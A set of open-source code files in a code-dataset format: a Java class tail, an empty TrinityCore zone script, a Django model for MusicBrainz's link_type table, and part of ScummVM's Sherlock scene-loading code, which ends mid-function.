@Override
public boolean parse(WObject bean) {
name = bean.getValue("name");
env = new CTEnvironmentImpl(client, bean.getIDValue("envid"));
return true;
}
@Override
public boolean isReady() {
return env.isReady();
}
@Override
public void save() {
env.save();
o.save();
}
@Override
public void publish() {
save();
env.publish();
o.publish();
client.publish(getName(), this);
}
public ServiceObject getServiceObject() {
return o;
}
private LLog getLogger() {
if (log == null) {
this.log = LLog.getLogger(this);
}
return log;
}
@Override
public PrintOut printOut() {
PrintOut po = new PrintOut();
po.append("RunEnvBuilder");
po.append("Bean");
po.append(1, getObject().toYaml());
po.append("Env");
po.append(1, env.printOut());
po.append("RunEnv");
getLogger().info(po.toText());
return po;
}
@Override
public String readStorage(String path) {
String username = path.substring(0, path.indexOf('/'));
if ("self".equals(username)) {
username = client.getService().getUser().getUsername();
}
String npath = path.substring(path.indexOf('/') + 1);
String value = client.getStorage().readStorage(this.client.getService().getUser(username), npath);
addStorageRead(path, value);
return value;
}
private void addStorageRead(String path, String value) {
storageread.put(path, value);
}
}
| gpl-2.0 |
conan513/SingleCore_TC | src/server/scripts/BrokenIsles/zone_valsharah.cpp | 762 | /*
* Copyright (C) 2008-2017 TrinityCore <http://www.trinitycore.org/>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "ScriptMgr.h"
void AddSC_valsharah()
{
}
| gpl-2.0 |
marios-zindilis/musicbrainz-django-models | musicbrainz_django_models/models/link_type.py | 2604 | """
.. module:: link_type
The **Link Type** Model.
PostgreSQL Definition
---------------------
The :code:`link_type` table is defined in the MusicBrainz Server as:
.. code-block:: sql
CREATE TABLE link_type ( -- replicate
id SERIAL,
parent INTEGER, -- references link_type.id
child_order INTEGER NOT NULL DEFAULT 0,
gid UUID NOT NULL,
entity_type0 VARCHAR(50) NOT NULL,
entity_type1 VARCHAR(50) NOT NULL,
name VARCHAR(255) NOT NULL,
description TEXT,
link_phrase VARCHAR(255) NOT NULL,
reverse_link_phrase VARCHAR(255) NOT NULL,
long_link_phrase VARCHAR(255) NOT NULL,
priority INTEGER NOT NULL DEFAULT 0,
last_updated TIMESTAMP WITH TIME ZONE DEFAULT NOW(),
is_deprecated BOOLEAN NOT NULL DEFAULT false,
has_dates BOOLEAN NOT NULL DEFAULT true,
entity0_cardinality INTEGER NOT NULL DEFAULT 0,
entity1_cardinality INTEGER NOT NULL DEFAULT 0
);
"""
from django.db import models
from django.utils.encoding import python_2_unicode_compatible
import uuid
@python_2_unicode_compatible
class link_type(models.Model):
"""
Not all parameters are listed here, only those that present some interest
in their Django implementation.
:param gid: this is interesting because it cannot be NULL but a default is
not defined in SQL. The default `uuid.uuid4` in Django will generate a
UUID during the creation of an instance.
"""
id = models.AutoField(primary_key=True)
parent = models.ForeignKey('self', null=True)
child_order = models.IntegerField(default=0)
gid = models.UUIDField(default=uuid.uuid4)
entity_type0 = models.CharField(max_length=50)
entity_type1 = models.CharField(max_length=50)
name = models.CharField(max_length=255)
description = models.TextField(null=True)
link_phrase = models.CharField(max_length=255)
reverse_link_phrase = models.CharField(max_length=255)
long_link_phrase = models.CharField(max_length=255)
priority = models.IntegerField(default=0)
last_updated = models.DateTimeField(auto_now=True)
is_deprecated = models.BooleanField(default=False)
has_dates = models.BooleanField(default=True)
entity0_cardinality = models.IntegerField(default=0)
entity1_cardinality = models.IntegerField(default=0)
def __str__(self):
return self.name
class Meta:
db_table = 'link_type'
| gpl-2.0 |
LasDesu/scummvm | engines/sherlock/scene.cpp | 45463 | /* ScummVM - Graphic Adventure Engine
*
* ScummVM is the legal property of its developers, whose names
* are too numerous to list here. Please refer to the COPYRIGHT
* file distributed with this source distribution.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*
*/
#include "sherlock/scene.h"
#include "sherlock/sherlock.h"
#include "sherlock/screen.h"
#include "sherlock/scalpel/scalpel.h"
#include "sherlock/scalpel/scalpel_people.h"
#include "sherlock/scalpel/scalpel_scene.h"
#include "sherlock/tattoo/tattoo.h"
#include "sherlock/tattoo/tattoo_scene.h"
#include "sherlock/tattoo/tattoo_user_interface.h"
namespace Sherlock {
BgFileHeader::BgFileHeader() {
_numStructs = -1;
_numImages = -1;
_numcAnimations = -1;
_descSize = -1;
_seqSize = -1;
// Serrated Scalpel
_fill = -1;
// Rose Tattoo
_scrollSize = -1;
_bytesWritten = -1;
_fadeStyle = -1;
Common::fill(&_palette[0], &_palette[PALETTE_SIZE], 0);
}
void BgFileHeader::load(Common::SeekableReadStream &s, bool isRoseTattoo) {
_numStructs = s.readUint16LE();
_numImages = s.readUint16LE();
_numcAnimations = s.readUint16LE();
_descSize = s.readUint16LE();
_seqSize = s.readUint16LE();
if (isRoseTattoo) {
_scrollSize = s.readUint16LE();
_bytesWritten = s.readUint32LE();
_fadeStyle = s.readByte();
} else {
_fill = s.readUint16LE();
}
}
/*----------------------------------------------------------------*/
void BgFileHeaderInfo::load(Common::SeekableReadStream &s) {
_filesize = s.readUint32LE();
_maxFrames = s.readByte();
char buffer[9];
s.read(buffer, 9);
_filename = Common::String(buffer);
}
void BgFileHeaderInfo::load3DO(Common::SeekableReadStream &s) {
_filesize = s.readUint32BE();
_maxFrames = s.readByte();
char buffer[9];
s.read(buffer, 9);
_filename = Common::String(buffer);
s.skip(2); // only on 3DO!
}
/*----------------------------------------------------------------*/
void Exit::load(Common::SeekableReadStream &s, bool isRoseTattoo) {
if (isRoseTattoo) {
char buffer[41];
s.read(buffer, 41);
_dest = Common::String(buffer);
}
left = s.readSint16LE();
top = s.readSint16LE();
setWidth(s.readUint16LE());
setHeight(s.readUint16LE());
_image = isRoseTattoo ? s.readByte() : 0;
_scene = s.readSint16LE();
if (!isRoseTattoo)
_allow = s.readSint16LE();
_newPosition.x = s.readSint16LE();
_newPosition.y = s.readSint16LE();
_newPosition._facing = s.readUint16LE();
if (isRoseTattoo)
_allow = s.readSint16LE();
}
void Exit::load3DO(Common::SeekableReadStream &s) {
left = s.readSint16BE();
top = s.readSint16BE();
setWidth(s.readUint16BE());
setHeight(s.readUint16BE());
_image = 0;
_scene = s.readSint16BE();
_allow = s.readSint16BE();
_newPosition.x = s.readSint16BE();
_newPosition.y = s.readSint16BE();
_newPosition._facing = s.readUint16BE();
s.skip(2); // Filler
}
/*----------------------------------------------------------------*/
void SceneEntry::load(Common::SeekableReadStream &s) {
_startPosition.x = s.readSint16LE();
_startPosition.y = s.readSint16LE();
_startDir = s.readByte();
_allow = s.readByte();
}
void SceneEntry::load3DO(Common::SeekableReadStream &s) {
_startPosition.x = s.readSint16BE();
_startPosition.y = s.readSint16BE();
_startDir = s.readByte();
_allow = s.readByte();
}
void SceneSound::load(Common::SeekableReadStream &s) {
char buffer[9];
s.read(buffer, 8);
buffer[8] = '\0';
_name = Common::String(buffer);
_priority = s.readByte();
}
void SceneSound::load3DO(Common::SeekableReadStream &s) {
load(s);
}
/*----------------------------------------------------------------*/
int ObjectArray::indexOf(const Object &obj) const {
for (uint idx = 0; idx < size(); ++idx) {
if (&(*this)[idx] == &obj)
return idx;
}
return -1;
}
/*----------------------------------------------------------------*/
void ScaleZone::load(Common::SeekableReadStream &s) {
left = s.readSint16LE();
top = s.readSint16LE();
setWidth(s.readUint16LE());
setHeight(s.readUint16LE());
_topNumber = s.readByte();
_bottomNumber = s.readByte();
}
/*----------------------------------------------------------------*/
void WalkArray::load(Common::SeekableReadStream &s, bool isRoseTattoo) {
_pointsCount = (int8)s.readByte();
for (int idx = 0; idx < _pointsCount; ++idx) {
int x = s.readSint16LE();
int y = isRoseTattoo ? s.readSint16LE() : s.readByte();
push_back(Common::Point(x, y));
}
}
/*----------------------------------------------------------------*/
Scene *Scene::init(SherlockEngine *vm) {
if (vm->getGameID() == GType_SerratedScalpel)
return new Scalpel::ScalpelScene(vm);
else
return new Tattoo::TattooScene(vm);
}
Scene::Scene(SherlockEngine *vm): _vm(vm) {
_sceneStats = new bool *[SCENES_COUNT];
_sceneStats[0] = new bool[SCENES_COUNT * (MAX_BGSHAPES + 1)];
Common::fill(&_sceneStats[0][0], &_sceneStats[0][SCENES_COUNT * (MAX_BGSHAPES + 1)], false);
for (int idx = 1; idx < SCENES_COUNT; ++idx) {
_sceneStats[idx] = _sceneStats[idx - 1] + (MAX_BGSHAPES + 1);
}
_currentScene = -1;
_goToScene = -1;
_loadingSavedGame = false;
_walkedInScene = false;
_version = 0;
_compressed = false;
_invGraphicItems = 0;
_cAnimFramePause = 0;
_restoreFlag = false;
_animating = 0;
_doBgAnimDone = true;
_tempFadeStyle = 0;
_doBgAnimDone = false;
}
Scene::~Scene() {
freeScene();
delete[] _sceneStats[0];
delete[] _sceneStats;
}
void Scene::selectScene() {
Events &events = *_vm->_events;
People &people = *_vm->_people;
Screen &screen = *_vm->_screen;
Talk &talk = *_vm->_talk;
UserInterface &ui = *_vm->_ui;
// Reset fields
ui._windowOpen = ui._infoFlag = false;
ui._menuMode = STD_MODE;
// Load the scene
Common::String sceneFile = Common::String::format("res%02d", _goToScene);
// _rrmName gets set during loadScene()
// _rrmName is for ScalpelScene::startCAnim
_currentScene = _goToScene;
_goToScene = -1;
loadScene(sceneFile);
// If the fade style was changed from running a movie, then reset it
if (_tempFadeStyle) {
screen._fadeStyle = _tempFadeStyle;
_tempFadeStyle = 0;
}
people[HOLMES]._walkDest = Common::Point(people[HOLMES]._position.x / FIXED_INT_MULTIPLIER,
people[HOLMES]._position.y / FIXED_INT_MULTIPLIER);
_restoreFlag = true;
events.clearEvents();
// If there were any scripts waiting to be run, but were interrupt by a running
// canimation (probably the last scene's exit canim), clear the _scriptMoreFlag
if (talk._scriptMoreFlag == 3)
talk._scriptMoreFlag = 0;
}
void Scene::freeScene() {
if (_currentScene == -1)
return;
_vm->_ui->clearWindow();
_vm->_talk->freeTalkVars();
_vm->_talk->clearSequences();
_vm->_inventory->freeInv();
_vm->_music->freeSong();
_vm->_sound->freeLoadedSounds();
if (!_loadingSavedGame)
saveSceneStatus();
else
_loadingSavedGame = false;
_sequenceBuffer.clear();
_descText.clear();
_walkPoints.clear();
_cAnim.clear();
_bgShapes.clear();
_zones.clear();
_canimShapes.clear();
for (uint idx = 0; idx < _images.size(); ++idx)
delete _images[idx]._images;
_images.clear();
_currentScene = -1;
}
bool Scene::loadScene(const Common::String &filename) {
Events &events = *_vm->_events;
Music &music = *_vm->_music;
People &people = *_vm->_people;
Resources &res = *_vm->_res;
SaveManager &saves = *_vm->_saves;
Screen &screen = *_vm->_screen;
UserInterface &ui = *_vm->_ui;
bool flag;
_walkedInScene = false;
// Reset the list of walkable areas
_zones.clear();
_zones.push_back(Common::Rect(0, 0, SHERLOCK_SCREEN_WIDTH, SHERLOCK_SCREEN_HEIGHT));
_descText.clear();
_comments = "";
_bgShapes.clear();
_cAnim.clear();
_sequenceBuffer.clear();
//
// Load the room resource file for the scene
//
if (!IS_3DO) {
// PC version
Common::String roomFilename = filename + ".rrm";
_roomFilename = roomFilename;
flag = _vm->_res->exists(roomFilename);
if (flag) {
Common::SeekableReadStream *rrmStream = _vm->_res->load(roomFilename);
rrmStream->seek(39);
if (IS_SERRATED_SCALPEL) {
_version = rrmStream->readByte();
_compressed = _version == 10;
} else {
_compressed = rrmStream->readByte() > 0;
}
// Go to header and read it in
rrmStream->seek(rrmStream->readUint32LE());
BgFileHeader bgHeader;
bgHeader.load(*rrmStream, IS_ROSE_TATTOO);
_invGraphicItems = bgHeader._numImages + 1;
if (IS_ROSE_TATTOO) {
// Resize the screen if necessary
int fullWidth = SHERLOCK_SCREEN_WIDTH + bgHeader._scrollSize;
if (screen._backBuffer1.w() != fullWidth) {
screen._backBuffer1.create(fullWidth, SHERLOCK_SCREEN_HEIGHT);
screen._backBuffer2.create(fullWidth, SHERLOCK_SCREEN_HEIGHT);
}
// Handle initializing the palette
screen.initPaletteFade(bgHeader._bytesWritten);
rrmStream->read(screen._cMap, PALETTE_SIZE);
paletteLoaded();
screen.translatePalette(screen._cMap);
// Read in background
if (_compressed) {
res.decompress(*rrmStream, (byte *)screen._backBuffer1.getPixels(), fullWidth * SHERLOCK_SCREEN_HEIGHT);
} else {
rrmStream->read(screen._backBuffer1.getPixels(), fullWidth * SHERLOCK_SCREEN_HEIGHT);
}
}
// Read in the shapes header info
Common::Array<BgFileHeaderInfo> bgInfo;
bgInfo.resize(bgHeader._numStructs);
for (uint idx = 0; idx < bgInfo.size(); ++idx)
bgInfo[idx].load(*rrmStream);
// Read information
if (IS_ROSE_TATTOO) {
// Load shapes
Common::SeekableReadStream *infoStream = !_compressed ? rrmStream : res.decompress(*rrmStream, bgHeader._numStructs * 625);
_bgShapes.resize(bgHeader._numStructs);
for (int idx = 0; idx < bgHeader._numStructs; ++idx)
_bgShapes[idx].load(*infoStream, true);
if (_compressed)
delete infoStream;
// Load description text
_descText.resize(bgHeader._descSize);
if (_compressed)
res.decompress(*rrmStream, (byte *)&_descText[0], bgHeader._descSize);
else
rrmStream->read(&_descText[0], bgHeader._descSize);
// Load sequences
_sequenceBuffer.resize(bgHeader._seqSize);
if (_compressed)
res.decompress(*rrmStream, &_sequenceBuffer[0], bgHeader._seqSize);
else
rrmStream->read(&_sequenceBuffer[0], bgHeader._seqSize);
} else if (!_compressed) {
// Serrated Scalpel uncompressed info
_bgShapes.resize(bgHeader._numStructs);
for (int idx = 0; idx < bgHeader._numStructs; ++idx)
_bgShapes[idx].load(*rrmStream, false);
if (bgHeader._descSize) {
_descText.resize(bgHeader._descSize);
rrmStream->read(&_descText[0], bgHeader._descSize);
}
if (bgHeader._seqSize) {
_sequenceBuffer.resize(bgHeader._seqSize);
rrmStream->read(&_sequenceBuffer[0], bgHeader._seqSize);
}
} else {
// Serrated Scalpel compressed info
Common::SeekableReadStream *infoStream;
// Read shapes
infoStream = Resources::decompressLZ(*rrmStream, bgHeader._numStructs * 569);
_bgShapes.resize(bgHeader._numStructs);
for (int idx = 0; idx < bgHeader._numStructs; ++idx)
_bgShapes[idx].load(*infoStream, false);
delete infoStream;
// Read description texts
if (bgHeader._descSize) {
infoStream = Resources::decompressLZ(*rrmStream, bgHeader._descSize);
_descText.resize(bgHeader._descSize);
infoStream->read(&_descText[0], bgHeader._descSize);
delete infoStream;
}
// Read sequences
if (bgHeader._seqSize) {
infoStream = Resources::decompressLZ(*rrmStream, bgHeader._seqSize);
_sequenceBuffer.resize(bgHeader._seqSize);
infoStream->read(&_sequenceBuffer[0], bgHeader._seqSize);
delete infoStream;
}
}
// Set up the list of images used by the scene
_images.resize(bgHeader._numImages + 1);
for (int idx = 0; idx < bgHeader._numImages; ++idx) {
_images[idx + 1]._filesize = bgInfo[idx]._filesize;
_images[idx + 1]._maxFrames = bgInfo[idx]._maxFrames;
// Read in the image data
Common::SeekableReadStream *imageStream = _compressed ?
res.decompress(*rrmStream, bgInfo[idx]._filesize) :
rrmStream->readStream(bgInfo[idx]._filesize);
_images[idx + 1]._images = new ImageFile(*imageStream);
delete imageStream;
}
// Set up the bgShapes
for (int idx = 0; idx < bgHeader._numStructs; ++idx) {
_bgShapes[idx]._images = _images[_bgShapes[idx]._misc]._images;
_bgShapes[idx]._imageFrame = !_bgShapes[idx]._images ? (ImageFrame *)nullptr :
&(*_bgShapes[idx]._images)[0];
_bgShapes[idx]._examine = Common::String(&_descText[_bgShapes[idx]._descOffset]);
_bgShapes[idx]._sequences = &_sequenceBuffer[_bgShapes[idx]._sequenceOffset];
_bgShapes[idx]._misc = 0;
_bgShapes[idx]._seqCounter = 0;
_bgShapes[idx]._seqCounter2 = 0;
_bgShapes[idx]._seqStack = 0;
_bgShapes[idx]._frameNumber = -1;
_bgShapes[idx]._oldPosition = Common::Point(0, 0);
_bgShapes[idx]._oldSize = Common::Point(1, 1);
}
// Load in cAnim list
_cAnim.clear();
if (bgHeader._numcAnimations) {
int animSize = IS_SERRATED_SCALPEL ? 65 : 47;
Common::SeekableReadStream *cAnimStream = _compressed ?
res.decompress(*rrmStream, animSize * bgHeader._numcAnimations) :
rrmStream->readStream(animSize * bgHeader._numcAnimations);
// Load cAnim offset table as well
uint32 *cAnimOffsetTablePtr = new uint32[bgHeader._numcAnimations];
uint32 *cAnimOffsetPtr = cAnimOffsetTablePtr;
memset(cAnimOffsetTablePtr, 0, bgHeader._numcAnimations * sizeof(uint32));
if (IS_SERRATED_SCALPEL) {
// Save current stream offset
int32 curOffset = rrmStream->pos();
rrmStream->seek(44); // Seek to cAnim-Offset-Table
for (uint16 curCAnim = 0; curCAnim < bgHeader._numcAnimations; curCAnim++) {
*cAnimOffsetPtr = rrmStream->readUint32LE();
cAnimOffsetPtr++;
}
// Seek back to original stream offset
rrmStream->seek(curOffset);
}
// TODO: load offset table for Rose Tattoo as well
// Go to the start of the cAnimOffsetTable
cAnimOffsetPtr = cAnimOffsetTablePtr;
_cAnim.resize(bgHeader._numcAnimations);
for (uint idx = 0; idx < _cAnim.size(); ++idx) {
_cAnim[idx].load(*cAnimStream, IS_ROSE_TATTOO, *cAnimOffsetPtr);
cAnimOffsetPtr++;
}
delete cAnimStream;
delete[] cAnimOffsetTablePtr;
}
// Read in the room bounding areas
int size = rrmStream->readUint16LE();
Common::SeekableReadStream *boundsStream = !_compressed ? rrmStream :
res.decompress(*rrmStream, size);
_zones.resize(size / 10);
for (uint idx = 0; idx < _zones.size(); ++idx) {
_zones[idx].left = boundsStream->readSint16LE();
_zones[idx].top = boundsStream->readSint16LE();
_zones[idx].setWidth(boundsStream->readSint16LE() + 1);
_zones[idx].setHeight(boundsStream->readSint16LE() + 1);
boundsStream->skip(2); // Skip unused scene number field
}
if (_compressed)
delete boundsStream;
// Ensure we've reached the path version byte
if (rrmStream->readByte() != (IS_SERRATED_SCALPEL ? 254 : 251))
error("Invalid scene path data");
// Load the walk directory and walk data
assert(_zones.size() < MAX_ZONES);
for (uint idx1 = 0; idx1 < _zones.size(); ++idx1) {
Common::fill(&_walkDirectory[idx1][0], &_walkDirectory[idx1][MAX_ZONES], 0);
for (uint idx2 = 0; idx2 < _zones.size(); ++idx2)
_walkDirectory[idx1][idx2] = rrmStream->readSint16LE();
}
// Read in the walk data
size = rrmStream->readUint16LE();
Common::SeekableReadStream *walkStream = !_compressed ? rrmStream :
res.decompress(*rrmStream, size);
int startPos = walkStream->pos();
while ((walkStream->pos() - startPos) < size) {
_walkPoints.push_back(WalkArray());
_walkPoints[_walkPoints.size() - 1]._fileOffset = walkStream->pos() - startPos;
_walkPoints[_walkPoints.size() - 1].load(*walkStream, IS_ROSE_TATTOO);
}
if (_compressed)
delete walkStream;
// Translate the file offsets of the walk directory to indexes in the loaded walk data
for (uint idx1 = 0; idx1 < _zones.size(); ++idx1) {
for (uint idx2 = 0; idx2 < _zones.size(); ++idx2) {
int fileOffset = _walkDirectory[idx1][idx2];
if (fileOffset == -1)
continue;
uint dataIndex = 0;
while (dataIndex < _walkPoints.size() && _walkPoints[dataIndex]._fileOffset != fileOffset)
++dataIndex;
assert(dataIndex < _walkPoints.size());
_walkDirectory[idx1][idx2] = dataIndex;
}
}
if (IS_ROSE_TATTOO) {
// Read in the entrance
_entrance.load(*rrmStream);
// Load scale zones
_scaleZones.resize(rrmStream->readByte());
for (uint idx = 0; idx < _scaleZones.size(); ++idx)
_scaleZones[idx].load(*rrmStream);
}
// Read in the exits
int numExits = rrmStream->readByte();
_exits.resize(numExits);
for (int idx = 0; idx < numExits; ++idx)
_exits[idx].load(*rrmStream, IS_ROSE_TATTOO);
if (IS_SERRATED_SCALPEL)
// Read in the entrance
_entrance.load(*rrmStream);
// Initialize sound list
int numSounds = rrmStream->readByte();
_sounds.resize(numSounds);
for (int idx = 0; idx < numSounds; ++idx)
_sounds[idx].load(*rrmStream);
loadSceneSounds();
if (IS_ROSE_TATTOO) {
// Load the object sound list
char buffer[27];
_objSoundList.resize(rrmStream->readUint16LE());
for (uint idx = 0; idx < _objSoundList.size(); ++idx) {
rrmStream->read(buffer, 27);
_objSoundList[idx] = Common::String(buffer);
}
} else {
// Read in palette
rrmStream->read(screen._cMap, PALETTE_SIZE);
screen.translatePalette(screen._cMap);
Common::copy(screen._cMap, screen._cMap + PALETTE_SIZE, screen._sMap);
// Read in the background
Common::SeekableReadStream *bgStream = !_compressed ? rrmStream :
res.decompress(*rrmStream, SHERLOCK_SCREEN_WIDTH * SHERLOCK_SCENE_HEIGHT);
bgStream->read(screen._backBuffer1.getPixels(), SHERLOCK_SCREEN_WIDTH * SHERLOCK_SCENE_HEIGHT);
if (_compressed)
delete bgStream;
}
// Backup the image and set the palette
screen._backBuffer2.blitFrom(screen._backBuffer1);
screen.setPalette(screen._cMap);
delete rrmStream;
}
} else {
// === 3DO version ===
_roomFilename = "rooms/" + filename + ".rrm";
flag = _vm->_res->exists(_roomFilename);
if (!flag)
error("loadScene: 3DO room data file not found");
Common::SeekableReadStream *roomStream = _vm->_res->load(_roomFilename);
uint32 roomStreamSize = roomStream->size();
// there should be at least all bytes of the header data
if (roomStreamSize < 128)
error("loadScene: 3DO room data file is too small");
// Read 3DO header
roomStream->skip(4); // UINT32: offset graphic data?
uint16 header3DO_numStructs = roomStream->readUint16BE();
uint16 header3DO_numImages = roomStream->readUint16BE();
uint16 header3DO_numAnimations = roomStream->readUint16BE();
roomStream->skip(6);
uint32 header3DO_bgInfo_offset = roomStream->readUint32BE() + 0x80;
uint32 header3DO_bgInfo_size = roomStream->readUint32BE();
uint32 header3DO_bgShapes_offset = roomStream->readUint32BE() + 0x80;
uint32 header3DO_bgShapes_size = roomStream->readUint32BE();
uint32 header3DO_descriptions_offset = roomStream->readUint32BE() + 0x80;
uint32 header3DO_descriptions_size = roomStream->readUint32BE();
uint32 header3DO_sequence_offset = roomStream->readUint32BE() + 0x80;
uint32 header3DO_sequence_size = roomStream->readUint32BE();
uint32 header3DO_cAnim_offset = roomStream->readUint32BE() + 0x80;
uint32 header3DO_cAnim_size = roomStream->readUint32BE();
uint32 header3DO_roomBounding_offset = roomStream->readUint32BE() + 0x80;
uint32 header3DO_roomBounding_size = roomStream->readUint32BE();
uint32 header3DO_walkDirectory_offset = roomStream->readUint32BE() + 0x80;
uint32 header3DO_walkDirectory_size = roomStream->readUint32BE();
uint32 header3DO_walkData_offset = roomStream->readUint32BE() + 0x80;
uint32 header3DO_walkData_size = roomStream->readUint32BE();
uint32 header3DO_exits_offset = roomStream->readUint32BE() + 0x80;
uint32 header3DO_exits_size = roomStream->readUint32BE();
uint32 header3DO_entranceData_offset = roomStream->readUint32BE() + 0x80;
uint32 header3DO_entranceData_size = roomStream->readUint32BE();
uint32 header3DO_soundList_offset = roomStream->readUint32BE() + 0x80;
uint32 header3DO_soundList_size = roomStream->readUint32BE();
//uint32 header3DO_unknown_offset = roomStream->readUint32BE() + 0x80;
//uint32 header3DO_unknown_size = roomStream->readUint32BE();
roomStream->skip(8); // Skip over unknown offset+size
uint32 header3DO_bgGraphicData_offset = roomStream->readUint32BE() + 0x80;
uint32 header3DO_bgGraphicData_size = roomStream->readUint32BE();
// Calculate amount of entries
int32 header3DO_soundList_count = header3DO_soundList_size / 9;
_invGraphicItems = header3DO_numImages + 1;
// Verify all offsets
if (header3DO_bgInfo_offset >= roomStreamSize)
error("loadScene: 3DO bgInfo offset points outside of room file");
if (header3DO_bgInfo_size > (roomStreamSize - header3DO_bgInfo_offset))
error("loadScene: 3DO bgInfo size goes beyond room file");
if (header3DO_bgShapes_offset >= roomStreamSize)
error("loadScene: 3DO bgShapes offset points outside of room file");
if (header3DO_bgShapes_size > (roomStreamSize - header3DO_bgShapes_offset))
error("loadScene: 3DO bgShapes size goes beyond room file");
if (header3DO_descriptions_offset >= roomStreamSize)
error("loadScene: 3DO descriptions offset points outside of room file");
if (header3DO_descriptions_size > (roomStreamSize - header3DO_descriptions_offset))
error("loadScene: 3DO descriptions size goes beyond room file");
if (header3DO_sequence_offset >= roomStreamSize)
error("loadScene: 3DO sequence offset points outside of room file");
if (header3DO_sequence_size > (roomStreamSize - header3DO_sequence_offset))
error("loadScene: 3DO sequence size goes beyond room file");
if (header3DO_cAnim_offset >= roomStreamSize)
error("loadScene: 3DO cAnim offset points outside of room file");
if (header3DO_cAnim_size > (roomStreamSize - header3DO_cAnim_offset))
error("loadScene: 3DO cAnim size goes beyond room file");
if (header3DO_roomBounding_offset >= roomStreamSize)
error("loadScene: 3DO roomBounding offset points outside of room file");
if (header3DO_roomBounding_size > (roomStreamSize - header3DO_roomBounding_offset))
error("loadScene: 3DO roomBounding size goes beyond room file");
if (header3DO_walkDirectory_offset >= roomStreamSize)
error("loadScene: 3DO walkDirectory offset points outside of room file");
if (header3DO_walkDirectory_size > (roomStreamSize - header3DO_walkDirectory_offset))
error("loadScene: 3DO walkDirectory size goes beyond room file");
if (header3DO_walkData_offset >= roomStreamSize)
error("loadScene: 3DO walkData offset points outside of room file");
if (header3DO_walkData_size > (roomStreamSize - header3DO_walkData_offset))
error("loadScene: 3DO walkData size goes beyond room file");
if (header3DO_exits_offset >= roomStreamSize)
error("loadScene: 3DO exits offset points outside of room file");
if (header3DO_exits_size > (roomStreamSize - header3DO_exits_offset))
error("loadScene: 3DO exits size goes beyond room file");
if (header3DO_entranceData_offset >= roomStreamSize)
error("loadScene: 3DO entranceData offset points outside of room file");
if (header3DO_entranceData_size > (roomStreamSize - header3DO_entranceData_offset))
error("loadScene: 3DO entranceData size goes beyond room file");
if (header3DO_soundList_offset >= roomStreamSize)
error("loadScene: 3DO soundList offset points outside of room file");
if (header3DO_soundList_size > (roomStreamSize - header3DO_soundList_offset))
error("loadScene: 3DO soundList size goes beyond room file");
if (header3DO_bgGraphicData_offset >= roomStreamSize)
error("loadScene: 3DO bgGraphicData offset points outside of room file");
if (header3DO_bgGraphicData_size > (roomStreamSize - header3DO_bgGraphicData_offset))
error("loadScene: 3DO bgGraphicData size goes beyond room file");
// === BGINFO === read in the shapes header info
Common::Array<BgFileHeaderInfo> bgInfo;
uint32 expected3DO_bgInfo_size = header3DO_numStructs * 16;
if (expected3DO_bgInfo_size != header3DO_bgInfo_size) // Security check
error("loadScene: 3DO bgInfo size mismatch");
roomStream->seek(header3DO_bgInfo_offset);
bgInfo.resize(header3DO_numStructs);
for (uint idx = 0; idx < bgInfo.size(); ++idx)
bgInfo[idx].load3DO(*roomStream);
// === BGSHAPES === read in the shapes info
uint32 expected3DO_bgShapes_size = header3DO_numStructs * 588;
if (expected3DO_bgShapes_size != header3DO_bgShapes_size) // Security check
error("loadScene: 3DO bgShapes size mismatch");
roomStream->seek(header3DO_bgShapes_offset);
_bgShapes.resize(header3DO_numStructs);
for (int idx = 0; idx < header3DO_numStructs; ++idx)
_bgShapes[idx].load3DO(*roomStream);
// === DESCRIPTION === read description text
if (header3DO_descriptions_size) {
roomStream->seek(header3DO_descriptions_offset);
_descText.resize(header3DO_descriptions_size);
roomStream->read(&_descText[0], header3DO_descriptions_size);
}
// === SEQUENCE === read sequence buffer
if (header3DO_sequence_size) {
roomStream->seek(header3DO_sequence_offset);
_sequenceBuffer.resize(header3DO_sequence_size);
roomStream->read(&_sequenceBuffer[0], header3DO_sequence_size);
}
// === IMAGES === set up the list of images used by the scene
roomStream->seek(header3DO_bgGraphicData_offset);
_images.resize(header3DO_numImages + 1);
for (int idx = 0; idx < header3DO_numImages; ++idx) {
_images[idx + 1]._filesize = bgInfo[idx]._filesize;
_images[idx + 1]._maxFrames = bgInfo[idx]._maxFrames;
// Read image data into memory
Common::SeekableReadStream *imageStream = roomStream->readStream(bgInfo[idx]._filesize);
// Load image data into an ImageFile array as room file data
// which is basically a fixed header, followed by a raw cel header, followed by regular cel data
_images[idx + 1]._images = new ImageFile3DO(*imageStream, true);
delete imageStream;
}
// === BGSHAPES === Set up the bgShapes
for (int idx = 0; idx < header3DO_numStructs; ++idx) {
_bgShapes[idx]._images = _images[_bgShapes[idx]._misc]._images;
_bgShapes[idx]._imageFrame = !_bgShapes[idx]._images ? (ImageFrame *)nullptr :
&(*_bgShapes[idx]._images)[0];
_bgShapes[idx]._examine = Common::String(&_descText[_bgShapes[idx]._descOffset]);
_bgShapes[idx]._sequences = &_sequenceBuffer[_bgShapes[idx]._sequenceOffset];
_bgShapes[idx]._misc = 0;
_bgShapes[idx]._seqCounter = 0;
_bgShapes[idx]._seqCounter2 = 0;
_bgShapes[idx]._seqStack = 0;
_bgShapes[idx]._frameNumber = -1;
_bgShapes[idx]._oldPosition = Common::Point(0, 0);
_bgShapes[idx]._oldSize = Common::Point(1, 1);
}
// === CANIM === read cAnim list
_cAnim.clear();
if (header3DO_numAnimations) {
roomStream->seek(header3DO_cAnim_offset);
Common::SeekableReadStream *cAnimStream = roomStream->readStream(header3DO_cAnim_size);
uint32 *cAnimOffsetTablePtr = new uint32[header3DO_numAnimations];
uint32 *cAnimOffsetPtr = cAnimOffsetTablePtr;
uint32 cAnimOffset = 0;
memset(cAnimOffsetTablePtr, 0, header3DO_numAnimations * sizeof(uint32));
// Seek to end of graphics data and load cAnim offset table from there
